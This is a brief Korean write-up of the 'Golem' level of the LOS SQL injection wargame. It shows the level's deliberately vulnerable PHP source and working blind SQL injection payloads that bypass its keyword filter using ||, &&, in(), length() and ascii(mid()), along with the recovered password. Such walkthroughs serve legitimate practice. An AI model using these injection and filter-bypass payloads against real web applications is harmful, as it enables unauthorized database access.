WriteUp/LOS_rubiya

LOS -rubiya : Golem

vared 2020. 8. 3. 09:51
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

pw 찾는 문제다

or and substr 필터링 한다는 점이 문제다.

left mid 함수로 우회 가능하다.

 

대입 연산자가 필터링 되네,

sql 구문으로 대체하자

from

길이 찾자 -> 이전에 만들었던 파이썬 파일 활용..!

 

?pw='%7C%7C id in('admin') %26%26 length(pw)>0%23

로 체크해서 길이를 찾아보면 8이다.

 

이제 문자를 찾아주면 -> 이전에 만들었던 파이썬 파일 활용..!

?pw='%7C%7C id in('admin') %26%26 ascii(mid(pw,1,1))>0%23

꼴로 넣어주면 된다.

 

 

FINAL PW : 77d6290b